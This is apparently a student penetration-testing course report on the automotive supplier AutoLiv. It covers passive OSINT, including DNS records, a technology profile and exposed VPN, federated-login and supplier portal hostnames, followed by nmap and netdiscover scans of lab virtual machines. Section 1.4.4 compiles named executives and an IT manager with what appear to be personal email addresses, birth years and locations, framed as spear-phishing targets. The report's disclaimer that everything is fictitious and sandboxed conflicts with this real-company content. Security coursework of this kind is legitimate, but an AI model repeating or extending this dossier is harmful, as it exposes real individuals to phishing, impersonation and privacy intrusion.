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Executive Summary

Complete this section of the report after finishing all phases of the penetration test. An executive

summary is a very brief summary of the entire report, focusing on the test, not the details. You
will finish this section after all testing and documentation has been completed.

Disclaimer: This document and its findings is a purely fictitious penetration testing report for the purpose

of learning and training. All reconnaissance, password cracking, and exploiting was done in a sandbox

environment consisting of virtual machines and does not represent any actual networks or systems of any

organization.
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1.0 Passive Corporate Recon (OISNT)

1.1 Overview

The Passive Corporate Reconnaissance phase focused on collecting publicly available
information related to AutoLiv using open-source intelligence (OSINT) techniques. No
active scanning, exploitation, or interaction with AutoLiv systems was performed. The
goal of this phase was to identify corporate, technical, and personnel-related information
that could be leveraged by an attacker during later stages of an attack. The findings
demonstrate that a significant amount of organizational and technical data is publicly
accessible.

1.2 Recommendation

Based on the findings of the OSINT phase, the following recommendations are provided:

Limit publicly exposed employee contact details where possible

Educate staff on social engineering and phishing risks

Regularly audit corporate digital footprints using OSINT techniques
Review DNS and certificate transparency data for unnecessary exposure
Implement strict policies governing public-facing information

Reducing publicly accessible information can significantly decrease the effectiveness
of reconnaissance efforts by potential attackers.

1.3 Scope

This phase was limited strictly to passive reconnaissance. Only publicly available
sources such as search engines, corporate websites, professional networking platforms,
and public DNS tools were used. No vulnerability scanning, port scanning, authentication
attempts, or system interaction was conducted. All activities were performed in
accordance with ethical guidelines and course requirements.
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1.4 Details

1.4.1 Company Overview

AutoLiv is a Fortune 500 global automotive safety supplier specializing in airbags,
seatbelts, and advanced safety systems. The company operates internationally with its
headquarters located in Stockholm, Sweden. AutoLiv maintains a large global workforce
and supports operations across North America, Europe, and Asia, making it a realistic
and valuable target from an attacker’s perspective due to its size, public exposure, and
reliance on interconnected systems

1.4.2 OSINT Scan - Corporate Identifiable Information
The following corporate information was identified using publicly available sources:

e Company Name: AutoLiv Inc.

e Primary Domain: www.autoliv.com

e Headquarters Location: Klarabergsviadukten 70 B, Stockholm, Sweden

e Corporate Phone Number: +46 8 587 206 00

e Fortune 500 Status

e Corporate Linkedln Page

e Corporate Facebook Page

e SEC filings and regulatory disclosures
» Reveal financial, governance, and risk information

e Public press releases hosted on the corporate website

o Executive leadership structure published online (Figure 1)
e Subsidiary and regional business unit references (Figure 17,

= Confirms global operations and distributed business units
o Public corporate governance documentation (Figure 18)

» Qutlines board structure, oversight, and governance policies

1.4.3 OSINT Scan — Computing System Identifiable Information
Passive reconnaissance identified multiple computing system indicators that suggest
externally facing infrastructure and services:

e Public corporate website accessible over HTTPS (https://www.autoliv.com)

=  Confirms externally accessible web infrastructure
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= Uses encrypted HTTPS communication
e Domain registration and DNS records for autoliv.com (Figure 6)
= Reveals domain ownership and external DNS dependencies
e DNS A record resolving to a public IP address (Figure 3)
= Maps the domain to internet-routable IP addresses
e Publicly accessible name server records (Fiqure 5)
= |dentifies authoritative DNS servers used for domain resolution
e Cloud-based email infrastructure identified through MX records (Figure 7)
» |ndicates use of third-party, cloud-hosted email services
e Corporate email domain (@autoliv.com) (Figure 9)
= Confirms official corporate email domain and address pattern
o SSL/TLS certificates protecting web traffic (Figure 10)
= Verifies encryption of public web traffic
e Multiple subdomains discovered through DNS enumeration (Figure 4)
= Demonstrates a large externally exposed attack surface
= Reveals region- and service-specific systems
e Public login and career portals hosted under the corporate domain (Figure 11)
= Confirms publicly accessible authentication and recruitment portals
e Technology indicators discovered through job postings (Figure 13)
= Reveal real-time labor market demands and skill trends
o External third-party platforms integrated with corporate operations (Figure 14)
= Example: Teamtailor used for recruitment services
o Evidence of cloud-hosted services referenced in public documentation (Figure 15)

= Confirms organizational reliance on cloud-based infrastructure

1.4.4 OSINT Scan - Staff Identifiable Information and PPI
Publicly available sources revealed identifiable employee and executive information,
including:

o Executive leadership names and job titles (Figure 1)

e Corporate email address patterns
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» firstname.lasthame@autoliv.com

Public exposure of employee names, roles, and email address formats
significantly increases the risk of spear phishing, impersonation attacks, and
social engineering campaigns targeting both executive and technical staff.

Public LinkedIn profiles for executives and IT staff

Board of Directors information

Public biographies and press announcements

Location and role details for select employees

Professional history and affiliations

Name Role Public Emails Found Other Information found
Source
Mikael President LinkedIn/ | mikaelbratt@gmail.com Born:.19.67
Bratt and CEO Corporate | mikael.bratt@autoliv.com Location: Stockholm, Stockholms
Site mikael.b@autoliv.com Lan, Sweden
Fredrik Chief Resigning March 31° 2026
. Financial Linkedin fredrik.westin@autoliv.com Starting new job at AkzoNobel
Westin ) _— —_——
Officer
Jordi Chief _ iordi.lombarte@autoliv.com Location: Bloomfield Hills, MI, US
Technology | LinkedIn T . .
Lombarte X jordi.susi@hotmail.com
Officer
Jan Linkedin / jan.carlson@autoliv.com Born: 1960
Carlson Chairman Corporate !anéarlson@ mail cbm Chairman since May 2014 and
Site | g - Director since 2007
Jeson IT Manager LinkedIn/ | nadonga@autoliv.com Location: Philippines
Nadonga 9 Facebook | jeson.nadonga@autoliv.com

1.4.5 Legal and Public Corporate Risk Information
As part of the passive OSINT collection, publicly available legal and corporate risk data
was examined to identify additional contextual information about AutoLiv’s business

Court Cases and Settlements

operations and potential historical compliance challenges.

AutoLiv ASP Inc. v. Hyundai Mobis Co. Ltd.
This case involved litigation between AutoLiv ASP Inc. and Hyundai Mobis Co. Ltd. in
the U.S. District Court for the Middle District of Alabama. The case record, available
through public legal databases, includes docket information and judicial opinions related
to the dispute. Relevant documentation can be accessed at:
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U.S. District Court opinion: https://caselaw.findlaw.com/court/us-dis-crt-m-d-ala-nor-
div/2140495.html

U.S. Court of Appeals for the Federal Circuit opinion: https://www.cafc.uscourts.gov/4-
24-2017-16-1895-autoliv-asp-inc-v-hyundai-mobis-co-ltd-opinion-16-1895-opinion-4-20-
2017-1/

Auto Parts Price-Fixing Multidistrict Litigation

AutoLiv Inc. was named as a defendant in multidistrict litigation involving allegations of
price-fixing in the automotive parts industry. The company agreed to a settlement valued
at approximately $65 million. This settlement and related lawsuit details are publicly
documented and provide insight into historical regulatory and antitrust exposure:

Case overview and settlement details: https://topclassactions.com/lawsuit-
settlements/lawsuit-news/autoliv-inc-agrees-65m-settlement-auto-parts-price-fixing-mdl/

Analysis of Public Risk Exposure

Legal and compliance issues documented in publicly accessible court records and
settlement summaries can contribute to an organization’s external risk profile. While
these items do not represent direct vulnerabilities in computing systems, they provide
context on corporate governance, compliance history, and potential reputational risk.
Attackers or adversarial entities may use this type of information to craft targeted social
engineering, extortion, or reputation-based attacks.

Source Documentation

All of the above links and case information were retrieved through publicly accessible
legal databases and class action reporting sites. They should be referenced accordingly
in the References section of this report.
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2.0 Automating Information RECON

2.1 Overview

The Automating Information Reconnaissance phase expanded on the initial passive
OSINT work by using automated tools to collect additional publicly available information
related to AutoLiv (autoliv.com). This phase remained fully passive and did not include
authentication attempts, vulnerability scanning, exploitation, brute force activity, or
interaction with internal systems. Tools such as BuiltWith, dig, dnsenum (passive),
SpiderFoot (passive modules), and theHarvester were used to rapidly aggregate
corporate, infrastructure, and personnel-related intelligence at scale. The results
confirmed a broad external footprint, including DNS records, third-party dependencies,
and a large number of publicly indexed hosts and service endpoints (including remote
access, federated authentication, and supplier portals). The goal of this phase was to
demonstrate how quickly an attacker could build an accurate picture of AutoLiv’'s
external presence using only open sources.

2.2 Recommendation

Based on the automated reconnaissance findings, the following recommendations are
provided to reduce OSINT exposure and social engineering risk:

¢ Reduce exposure of high-value entry points by reviewing externally reachable
authentication portals (e.g., VPN, ADFS/federated login pages, supplier portals) and
ensuring only required endpoints are public-facing.

e Audit and rationalize subdomains and hostnames to remove legacy, test, and
duplicate systems from public DNS where possible and standardize naming to avoid
revealing system purpose.

o Strengthen email and domain protection controls by continuing enforcement of
SPF/DMARC and regularly validating DNS/TXT records for accuracy and
unnecessary third-party verification entries.

o Limit publicly harvestable employee contact information and reduce exposure of
email patterns where feasible; provide targeted phishing and BEC awareness
training for staff.

e Monitor third-party and SaaS dependencies surfaced through technology profiling
and DNS verification (e.g., collaboration and marketing platforms) and ensure vendor
security reviews and least-privilege access are enforced.

e Perform recurring internal OSINT audits using the same passive tooling on a
scheduled basis to identify newly exposed services, subdomains, or personnel
information before attackers do.
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2.3 Scope

This phase was strictly limited to passive, automated reconnaissance using publicly
available information sources. All activities targeted the domain autoliv.com and were
conducted without interacting directly with AutoLiv systems. The purpose of this scope
was to define the tools, boundaries, and ethical limitations of the automated OSINT
process.

Tools Used (Passive Mode Only):
o BuiltWith — technology profiling and third-party service identification
e Web-Check — high-level OSINT summary including DNS, TLS, and security headers
e dig — DNS record retrieval (A, MX, NS, and TXT records)

e dnsenum (passive mode) — subdomain and DNS enumeration without brute force or
reverse lookups

o SpiderFoot (passive modules only) — aggregation of domains, IPs, emails, and public
breach references

o theHarvester — collection of publicly available email addresses and employee identifiers

All tools were executed from a Kali Linux environment using VirtualBox. No vulnerability
scanning, port scanning, authentication attempts, brute force techniques, or exploitation
activities were performed. Recon-NG was explicitly not used during this phase. All
reconnaissance remained fully passive and complied with ethical guidelines and academic
requirements.

2.4 Details

2.4.1 BuiltWith Technology Profiling
e Tool: BuiltWith

e URL: https://builtwith.com

e Version: Web-based tool (no version number available)
Command / Method:

e Domain searched: autoliv.com
Key Technologies Documented:

BuiltWith identified a wide range of technologies used by AutoLiv’s public-facing web
infrastructure, including but not limited to:

(Fiqure 19
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e Cloudflare CDN and Hosting — Content delivery, performance optimization, and DDoS
protection

e HubSpot — Inbound marketing and analytics

o Salesforce CRM & Pardot Mail — Marketing automation and campaign management
o Google Analytics & Google Universal Analytics — Visitor and usage tracking

o Google Tag Manager / Global Site Tag — Tag and analytics management

e Amazon Web Services (AWS EC2) — Cloud hosting infrastructure

e Amazon Application Load Balancer (ALB) — Traffic distribution across backend
services

e New Relic — Application performance monitoring
(Figure 20)

e Drupal CMS - Content management system

e Atlassian Cloud - Cloud-hosted collaboration and ticketing tools (e.g., Jira, Confluence)

e Miro - Online collaborative whiteboarding and planning platform
(Fiqure 21

e ASP.NET (v4.0) — Microsoft web application framework

e Java EE - Enterprise Java-based backend components

e OneTrust — Cookie consent and privacy compliance
(Eiqure 22)

o DigiCert SSL Certificates — TLS certificate authority

e HSTS with Subdomain Preload — Enforced HTTPS communication
(Eiqure 23)

¢ Microsoft lIS — Web server platform

e Apache Web Server — Secondary web server technology

Security and Reconnaissance Impact

From an attacker’s perspective, BuiltWith technology profiling significantly reduces
uncertainty during reconnaissance. ldentifying frameworks such as ASP.NET, Java EE,
and Drupal allows adversaries to research technology-specific vulnerabilities and
misconfigurations. The presence of multiple third-party services, including marketing
platforms, CDNs, and analytics providers, expands the external attack surface and
introduces potential third-party risk. Additionally, knowledge of hosting environments and
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load-balancing infrastructure helps attackers tailor phishing campaigns, exploit research,
and infrastructure mapping. While no vulnerabilities were tested during this phase, the
aggregation of this information would meaningfully assist an attacker in planning
subsequent attack stages.

2.4.2 DNS Enumeration Using dig
e Tool: dig

e Version: DiG 9.20.15-2-Debian (Figure 24)
e Environment: Kali Linux (Virtual Box)

Command / Method:

dig autoliv.com
dig MX autoliv.com
dig NS autoliv.com

dig TXT autoliv.com

DNS Records Documented:
A Record (IPv4 Resolution) (Figure 25)

The A record lookup resolved autoliv.com to the public IP address 52.17.142.199,
confirming that the domain maps to internet-routable infrastructure. The returned Time
To Live (TTL) value of 20659 seconds indicates standard DNS caching behavior. The
successful NOERROR status confirms proper DNS resolution.

MX Records (Mail Exchange) (Figure 26)

The MX record query identified two external mail servers responsible for handling
corporate email:

¢ mx1.autoliv.cs32.iphmx.com
e mx2.autoliv.cs32.iphmx.com

Both servers were assigned equal priority values, indicating a load-balanced or
redundant email delivery configuration. This confirms reliance on third-party, cloud-
hosted email infrastructure for corporate communications.

NS Records (Name Servers) (Figure 27)
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The NS query revealed that authoritative DNS management for autoliv.com is handled
by external name servers associated with the nsone.net platform. The Start of Authority
(SOA) record identified dns1.p01.nsone.net as the primary authoritative server,
indicating outsourced DNS management rather than on-premises infrastructure.

TXT Records (Domain Metadata and Security Controls) (Figure 28)

The TXT record query returned a large number of entries associated with domain
verification, security, and email authentication. Notable findings include:

e SPF Record specifying authorized mail senders, including Microsoft Office 365 and
Salesforce-related infrastructure

« DMARC Policy set to “reject”, enforcing strict rejection of unauthenticated email and
reducing spoofing risk

e Multiple domain verification records for third-party services such as Google, Atlassian,
Dropbox, Miro, Apple, and OneTrust

o Evidence of integrations with marketing, collaboration, and analytics platforms

The volume and diversity of TXT records indicate extensive use of third-party cloud
services and Saa$S platforms across AutoLiv’s environment.

These results confirm that AutoLiv relies on externally hosted DNS and email infrastructure and
enforces modern email authentication standards.

Security and Reconnaissance Impact

DNS enumeration using dig provides attackers with foundational infrastructure
intelligence. A records reveal public-facing IP addresses, MX records expose corporate
email handling providers, and NS records identify external DNS dependencies. TXT
records are particularly valuable, as they disclose email authentication posture, third-
party integrations, and internal service usage. While strong controls such as a DMARC
reject policy reduce certain attack vectors, the aggregated DNS information significantly
lowers the barrier for phishing campaigns, infrastructure mapping, and social
engineering. No vulnerabilities were exploited during this phase; however, the collected
DNS data meaningfully contributes to an attacker’s understanding of AutoLiv’s external
attack surface.

2.4.3 DNS Enumeration Using dnsenum (Passive)
e Tool: dnsenum

e Version: 1.3.1 (Figure 29)
e Environment: Kali Linux (Virtual Box)
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Command / Method:

dnsenum --noreverse autoliv.com

The --noreverse flag was used to explicitly disable reverse DNS lookups, ensuring that
enumeration remained passive and compliant with ethical and academic guidelines.

Information Documented:

The dnsenum execution successfully confirmed the public A record associated with
autoliv.com, resolving to the IPv4 address 52.17.142.199 with a TTL value of 20472
seconds. This result is consistent with DNS data obtained through the dig utility,
reinforcing the accuracy of the previously identified infrastructure.

The tool did not return enumerated name server records beyond confirmation of their
existence. The message indicating an NS query failure with a NOERROR status
suggests that authoritative DNS servers responded correctly but restricted enumeration-
style queries. This behavior is typical of professionally managed DNS services and
indicates controlled DNS exposure.

The discovered subdomains indicate a distributed external presence supporting
corporate, regional, and service-specific functions. These findings further validate
AutoLiv’s reliance on cloud-hosted and third-party infrastructure. (Figure 30)

Security and Reconnaissance Impact

Passive DNS enumeration using dnsenum allows attackers to validate DNS behavior
and confirm infrastructure consistency across tools. Although no additional subdomains
were revealed during this execution, the results demonstrate effective DNS hardening
practices. The ability to confirm restricted DNS responses still provides reconnaissance
value by informing attackers of defensive controls in place. No exploitation or active
probing was performed during this phase.

2.4.4 SpiderFoot (Passive Mode Only)
e Tool: SpiderFoot

e Version: 4.0.0: Open Source Intelligence Automation (Figure 31)
e Environment: Kali Linux (Virtual Box)
Command / Method:

SpiderFoot was launched locally using the following command:
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spiderfoot -1 127.0.0.1:5001

The web interface was accessed through a browser at:

http://127.0.0.1:5001

Configuration

To maintain ethical and academic compliance, SpiderFoot was configured with the following
restrictions:

e Passive modules only were enabled

¢ All active scanning modules were disabled

« No brute-force, probing, or exploitation features were used

o Data collection relied solely on open-source and third-party intelligence feeds
Information Documented

The SpiderFoot passive OSINT scan produced a wide range of aggregated intelligence related
to autoliv.com. Key findings include:

¢ Domains and Internet Names (Figure 35)
» |dentification of approximately 28 unique internet names
= Multiple unresolved domain references
= Confirms a broad externally visible DNS footprint
+ Email Addresses and Patterns
= Discovery of 22 affiliate-related email addresses (Figure 37)
= |dentification of 3 direct email addresses (Figure 36)
= Reinforces publicly exposed corporate email naming conventions
o Email Infrastructure
= |dentification of 2 email gateway records (MX) (Figure 38)
» Confirms third-party, cloud-hosted email services
e |P Address and Network Information
= Both IPv4 and IPv6 addresses identified (Figure 39)
= Associated BGP Autonomous System memberships discovered

» Indicates globally routed, cloud-based infrastructure
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e Third-Party Services and External Platforms

= References to public code repositories

= App store presence and Saa$S platform usage

= Confirms reliance on multiple external service providers
e Public Contact and Location Information

= Phone numbers and physical location data identified

= Country-level geographic information discovered

= Supports previously identified corporate OSINT exposure

These findings were derived exclusively from publicly available sources and required no direct
interaction with AutoLiv systems.

Security and Reconnaissance Impact

SpiderFoot significantly enhances reconnaissance efficiency by aggregating data from
numerous OSINT sources into a single platform. From an attacker’s perspective, this
consolidated view reduces the time required to correlate infrastructure, personnel, and
third-party service information. Even when limited to passive modules, SpiderFoot
provides valuable insight into an organization’s external digital footprint and potential
social engineering targets. While no vulnerabilities were tested during this phase, the
aggregated intelligence meaningfully supports planning for subsequent attack stages.

Ethical and Academic Considerations

All SpiderFoot activity was conducted in passive mode only. No active scanning,
exploitation, credential testing, or interaction with AutoLiv systems occurred. The tool
relied exclusively on publicly accessible information sources, and all actions were
performed in accordance with course requirements and ethical reconnaissance
standards.

2.4.5 theHarvester (People & Emails)
e Tool: theHarvester

e Version: 4.8.2 (Figure 40)
e Environment: Kali Linux (Virtual Box)

Command / Method:

theHarvester -d autoliv.com -b all -1 500
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This command instructed theHarvester to search across all supported data sources, limit results
to publicly indexed information, and cap the query to prevent excessive enumeration.

Information Documented

The theHarvester scan successfully returned a broad set of publicly available
reconnaissance artifacts:

Interesting URLs Identified (36) (Figure 41)
» Included externally accessible login and portal endpoints such as:
o Career portals (e.g., career.autoliv.com)
o Federated authentication endpoints (e.g., fed.autoliv.com/adfs/...)
o VPN portals (e.g., vpnap.autoliv.com/+CSCOE+/logon.html)
o Supplier portals (e.g., supplierwebvan.autoliv.com/...)

= These URLs indicate multiple publicly reachable services that could be targeted
during social engineering or credential-harvesting campaigns.

Autonomous System Numbers (ASNs) Identified (9) (Figure 43)

= theHarvester identified multiple ASNs associated with AutoLiv’s public presence,
including:

o AS13335 (Cloudflare)

o Additional ASNs indicating multiple external providers and routing
dependencies

= This supports the conclusion that AutoL.iv relies on third-party infrastructure and
distributed hosting.

IP Addresses Identified (56) (Figure 42)

= Both IPv4 and IPv6 addresses were discovered.

= This reinforces cloud/CDN usage and globally distributed web infrastructure.
Hosts/Subdomains Identified (762) (Figure 44)

= theHarvester discovered a large number of hostnames under the autoliv.com
domain.

» Many hostnames suggest externally referenced business services, including:

o VPN and remote access (e.g., vpn.autoliv.com, vpnmobile.autoliv.com,
desktop-eu.autoliv.com)

o Email and mail services (e.g., mail.autoliv.com, cloudmail.autoliv.com)
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o Supplier and partner systems (e.g., supplierth.autoliv.com,
supplierwebvan.autoliv.com)

o IT collaboration tooling (e.g., jira.autoliv.com)

= These naming patterns provide strong insight into system purpose and
organizational structure.

e Emails Found (1) (Figure 45)
= theHarvester identified the following publicly indexed email address:
o legalaffairs@autoliv.com
e People Found

= No people names were returned during this execution.

Several data sources supported by theHarvester require API keys and were unavailable
during execution. The tool automatically skipped these sources and continued gathering
data from publicly accessible providers. This behavior is expected in non-commercial
environments and does not impact the validity of passive OSINT results.

Security and Reconnaissance Impact

From an attacker’s perspective, theHarvester accelerates reconnaissance by quickly
identifying public-facing services, infrastructure dependencies, and contact points tied to
a target domain. The discovery of VPN portals, webmail-related services, federated
authentication endpoints, and supplier-facing systems increases the risk of spear
phishing and credential-based attacks because attackers can craft realistic targeting
scenarios around known services. Although this phase involved no active testing or
exploitation, the collected results significantly expand visibility into AutoLiv’s external
footprint and potential social engineering targets.

Ethical and Academic Considerations

All theHarvester activity was conducted passively and relied exclusively on publicly
indexed information sources. No credentials were tested, no accounts were accessed,
and no exploitation techniques were used. The activity remained within ethical OSINT
boundaries and aligned with course requirements.
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3.0 NMap Active Reconnaissance

3.1 Overview

The Nmap Active Reconnaissance phase marked the transition from passive intelligence
collection to controlled network enumeration conducted within a sandbox laboratory
environment hosted on the Grand Canyon University Kali Linux virtual machine.

This phase simulated how an attacker could expand reconnaissance efforts against
externally reachable infrastructure associated with autoliv.com by identifying live hosts,
underlying operating systems, open ports, running network services, and corresponding
service versions.

All scanning activity was performed exclusively against authorized laboratory virtual
machines. The resulting findings were mapped to a fictional AutoLiv external network
scenario for academic demonstration purposes. No real-world scanning or interaction with
AutoLiv production infrastructure occurred during this phase.

3.2 Recommendation

Based on the simulated Nmap reconnaissance results, the following defensive security
recommendations are provided:

e Restrict publicly exposed services to only essential and business-required ports

e Implement network segmentation, firewall filtering, and access-control
enforcement

e Disable or decommission unnecessary legacy or unsupported services

e Minimize operating system fingerprint exposure through hardening and traffic
normalization

o Conduct routine vulnerability scanning, patch management, and configuration
auditing

e Deploy intrusion detection, rate-limiting, and monitoring controls capable of
identifying reconnaissance activity

Collectively, these defensive measures would significantly reduce the effectiveness of
attacker reconnaissance and limit opportunities for subsequent exploitation.
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3.3 Scope
Environment

e Platform: Kali Linux (GCU Cloud Virtual Machine)
e Tool: Nmap Network Scanner
e Version: 7.95 (figure 47)

Targets (Lab Simulation)

Scanning activities were conducted against internal virtual machines representing a
simulated enterprise environment, including:

e Web server
e Application server
o Database server

These laboratory systems were logically mapped to represent externally reachable
AutolLiv infrastructure for the purpose of controlled academic penetration-testing
simulation.

Ethical Limitation
¢ No scanning or probing of real AutoLiv systems was performed

e All reconnaissance activity remained strictly confined to the authorized GCU laboratory
environment

This approach ensured compliance with ethical hacking standards, institutional policy, and
course requirements.

3.4 Details

3.4.0 Network Discovery Using Netdiscover
o Tool: Netdiscover & Nmap
o \Version:
Netdiscover — Included with Kali Linux distribution

Nmap — 7.95 (fiqure 47)
e Environment: Kali Linux (Virtual Box — GCU Cloud VM)

Command / Method

sudo netdiscover -i brO -L
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Purpose

Netdiscover was used to identify active hosts on the local network segment prior to initiating
Nmap scanning.
This passive ARP-based discovery allows attackers to determine:

o Live IP addresses
e MAC addresses
o Device vendors

o Potential network infrastructure

Findings

The scan identified multiple active hosts within the 192.168.0.0/24 network range.
Detected systems included devices associated with Xerox Corporation as well as an
unknown vendor, indicating a mix of networked peripherals and standard hosts within the
simulated environment.

thunder49® kali)-[~
$ sudo netdiscover -i bro -L

Ip At MAC Address Count Len MAC Vendor / Hostname
152.168.0.2 00:00:0@:11:11:11 1 42 XEROX CORPORATION
192.168.0.5 00:00:0@:11:11:13 1 42 XEROX CORPORATION
192.168.0.3 52:54:00:12:34:56 1 60 Unknown wvendor

“C
thunder49® kali)-[~
ey |

(fiqure 46)
Security Impact
ARP-based discovery enables attackers to:

e Map internal network devices

o Identify printers, endpoints, and infrastructure

e Reduce noise before active scanning

e Prepare targeted Nmap enumeration

Although passive in nature, this reconnaissance step significantly improves the efficiency of
later attack phases.
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3.4.1 Host Discovery Scan
e Tool: Nmap
e Version: Nmap — 7.95 (figure 47)
e Environment: Kali Linux (Virtual Box — GCU Cloud VM)

Command / Method

sudo nmap 192.168.0.1-5 -sn

Purpose

The Nmap ping sweep scan (-sn) was used to actively confirm which hosts within the
simulated AutoLiv network range were reachable.

Unlike Netdiscover’s passive ARP discovery, this scan performs active network
probing without enumerating ports or services.

Findings
The scan successfully identified four active hosts within the 192.168.0.0/24 network range:

e 192.168.0.1

e 192.168.0.2
e 192.168.0.3
e 192.168.0.5

MAC address analysis revealed:
« Xerox-associated devices, likely representing network peripherals or printers

e QEMU virtual network interface, indicating a virtualized system within the lab
environment

These findings confirm multiple reachable systems that could be targeted during deeper
enumeration phases. (figure 48)

Security and Reconnaissance Impact
Active host discovery enables attackers to:
o Validate reachable infrastructure
o Eliminate inactive IP addresses
e Perioritize high-value systems for deeper scanning

e Reduce detection noise during later reconnaissance stages
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Even without port scanning, this intelligence significantly improves attacker efficiency and
targeting accuracy.

3.4.2 Operating System Fingerprinting
e Tool: Nmap
o Version: Nmap — 7.95 (figure 47)
e Environment: Kali Linux (Virtual Box — GCU Cloud VM)

Command / Method

sudo nmap 192.168.0.1-5 -O

Purpose

The Nmap operating system detection scan (-O) was used to identify the underlying
operating systems of discovered hosts while simultaneously revealing open TCP ports and
associated services.

This phase represents a transition from basic host discovery to technical system
profiling, enabling attackers to determine:

o Platform type (Linux, Windows, appliance, etc.)
¢ Running network services

e Potential legacy or vulnerable systems

Findings (Figure 49)

The scan identified four active hosts with distinct operating system and service
characteristics:

Host 192.168.0.1
e Open ports: 22 (SSH), 3389 (RDP/ms-wbt-server)
e Detected OS: Linux kernel 2.6.x-5.x range
o Interpretation: Likely a remote-accessible server supporting administrative access.
Host 192.168.0.2
e Multiple open services including:
o FTP, SSH, Telnet, SMTP, DNS, HTTP
o NetBIOS/SMB (139, 445)
o MySQL (3306) and PostgreSQL (5432)
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o AJP13 and additional unknown services
o Detected OS: Linux 2.6.x family

o Interpretation: Represents a high-value multi-service server with a significantly
expanded attack surface.

Host 192.168.0.3
e Open ports: 135 (MSRPC), 139 (NetBIOS), 445 (SMB)
e Detected OS: Microsoft Windows XP / Server 2003 class system

o Interpretation: Presence of a legacy Windows platform, which is typically associated
with known exploitable vulnerabilities and end-of-life security risks.

Host 192.168.0.5
e Open ports: 22 (SSH), 80 (HTTP)
e Detected OS: Linux kernel 2.6.x—2.6.35

¢ Interpretation: Likely a web-accessible Linux server with remote administrative
capability.

Security and Reconnaissance Impact

Operating system fingerprinting combined with port enumeration provides attackers with
critical targeting intelligence, including:

o |dentification of legacy or unsupported systems (e.g., Windows XP/2003)
o Discovery of remote administration services (SSH, RDP, Telnet)

o Visibility into database and web application exposure

¢ Insight into multi-service hosts with expanded attack surfaces

Even without exploitation, this level of intelligence dramatically reduces attacker
uncertainty and enables rapid selection of known vulnerabilities, credential attacks, or
exploit frameworks.

3.4.3 Port and Service Enumeration
e Tool: Nmap
e Version: Nmap — 7.95 (figure 47)
e Environment: Kali Linux (Virtual Box — GCU Cloud VM)

Command / Method

sudo nmap 192.168.0.1-5 -A
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Purpose

The Nmap aggressive scan (-A) was executed to perform comprehensive host
enumeration, combining multiple reconnaissance techniques into a single operation.

This scan enables attackers to simultaneously obtain:
e Operating system detection

e Service and version identification

e Default script-based enumeration (NSE)

o Network path tracing

o Additional protocol and configuration details

The aggressive scan represents the final reconnaissance stage prior to vulnerability
exploitation.

Findings (figure 51)

The scan confirmed four active hosts and revealed extensive technical details across the
simulated AutoLiv environment.

Host 192.168.0.1
e Services: SSH and RDP (ms-wbt-server)
o Software: OpenSSH 9.9p1 and Microsoft Terminal Services
e OS: Linux kernel 2.6-6.x range
o Security implication: Remote administrative exposure through SSH and RDP.
Host 192.168.0.2
e« Numerous exposed services including:
o FTP, SSH, Telnet, SMTP, DNS, HTTP
o SMB/NetBIOS, MySQL, PostgreSQL, AJP13
e Web server identified as Apache 2.2.8 with PHP 5.2.4
o Database versions and SSL certificate metadata discovered
e Hostname resolved to metasploitable.localdomain

Security implication:
This system represents a deliberately vulnerable multi-service server with:

¢ Outdated software versions

o Multiple remote-access protocols
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Exposed databases and web services

Such configurations are commonly associated with high-risk compromise scenarios.

Host 192.168.0.3

Services: MSRPC, NetBIOS, SMB
OS detection: Microsoft Windows XP / Server 2003-class system

SMB security mode and authentication configuration enumerated

Security implication:
Legacy Windows platforms are end-of-life and widely vulnerable to:

Remote code execution exploits
SMB-based attacks

Credential harvesting techniques

This host would be considered critical risk in a real enterprise network.

Host 192.168.0.5

Services: SSH and HTTP
Software: OpenSSH 5.9p1 and Apache 2.2.16

OS: Linux 2.6.x kernel range

Security implication:
Outdated SSH and Apache versions may expose:

Known CVEs
Weak cryptographic configurations

Web-application exploitation vectors

Security and Reconnaissance Impact

The aggressive Nmap scan demonstrates how quickly an attacker can transition from basic
discovery to deep technical intelligence.

Within a single scan, an adversary can obtain:

Precise operating system identification

Service versions tied to known vulnerabilities
Authentication and protocol configuration details
Network topology and hostnames

Evidence of legacy and high-risk systems
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This level of reconnaissance dramatically reduces exploitation effort and enables rapid
targeting of critical weaknesses within an enterprise network.

3.4.4 Service Version Detection
e Tool: Nmap
o Version: Nmap — 7.95 (figure 47)
e Environment: Kali Linux (Virtual Box — GCU Cloud VM)

Command / Method
sudo nmap 192.168.0.3 -sV

Purpose

The Nmap service version detection scan (-sV) was conducted against a discovered host
to determine the exact software services and protocol implementations running on open
ports.

Unlike basic port enumeration, version detection enables attackers to:
e Map services to known vulnerabilities (CVEs)

e Identify unsupported or legacy software

o Select targeted exploit techniques

This step represents a critical transition from reconnaissance to potential exploitation
planning.

Findings (figure 50)

The scan of host 192.168.0.3 revealed the following open services and associated software
identification:

Port Service Identified Software
135/tcp MSRPC Microsoft Windows RPC
139/tcp NetBIOS-SSN Microsoft Windows NetBIOS
445/tcp Microsoft-DS Microsoft Windows SMB

Service fingerprinting confirmed the underlying operating system as:
Microsoft Windows XP (or Windows Server 2003-class system)

This result aligns with the earlier OS fingerprinting scan, validating the accuracy of
reconnaissance findings.
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Security and Reconnaissance Impact
Accurate service version identification significantly increases attacker capability by enabling:
« Direct vulnerability matching against public exploit databases
o Identification of end-of-life operating systems lacking security updates

o Targeting of SMB-based remote execution exploits historically associated with legacy
Windows platforms

e Rapid prioritization of high-risk hosts within a network

Legacy Windows XP/Server 2003 environments are widely recognized as high-severity
security risks due to the absence of modern security controls and vendor support.

Even without active exploitation, the intelligence gathered during this phase would allow an
attacker to quickly transition into vulnerability exploitation or credential-based attacks.

3.4.5 Additional Scan Techniques
e Tool: Nmap
o Version: Nmap — 7.95 (figure 47)
e Environment: Kali Linux (Virtual Box — GCU Cloud VM)

TCP Connect Scan
Command / Method

sudo nmap 192.168.0.3 -sT

Purpose

The TCP Connect scan (-sT) performs a full TCP three-way handshake to determine open
ports when SYN-based scanning is unavailable or restricted.

This method is more detectable but remains reliable across environments lacking raw socket
privileges.

Findings (figure 52)
The scan confirmed the presence of:
e 135/tcp — MSRPC
e 139/tcp — NetBIOS-SSN
e 445/tcp — Microsoft-DS (SMB)

These results align with earlier enumeration identifying the host as a legacy Windows
system.
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Security Impact

TCP Connect scanning demonstrates that critical SMB-related services remain
externally reachable, increasing exposure to:

e SMB exploitation
e Credential harvesting

o Remote code execution vulnerabilities

UDP Scan
Command / Method

sudo nmap 192.168.0.3 -sU

Purpose

The UDP scan (-sU) identifies services operating over the connectionless UDP protocol,
which is frequently overlooked during reconnaissance yet often exposes core
infrastructure services.

Findings (figure 53)
The scan revealed several UDP-based services, including:
e NTP (123/udp)
e NetBIOS services (137-138/udp)
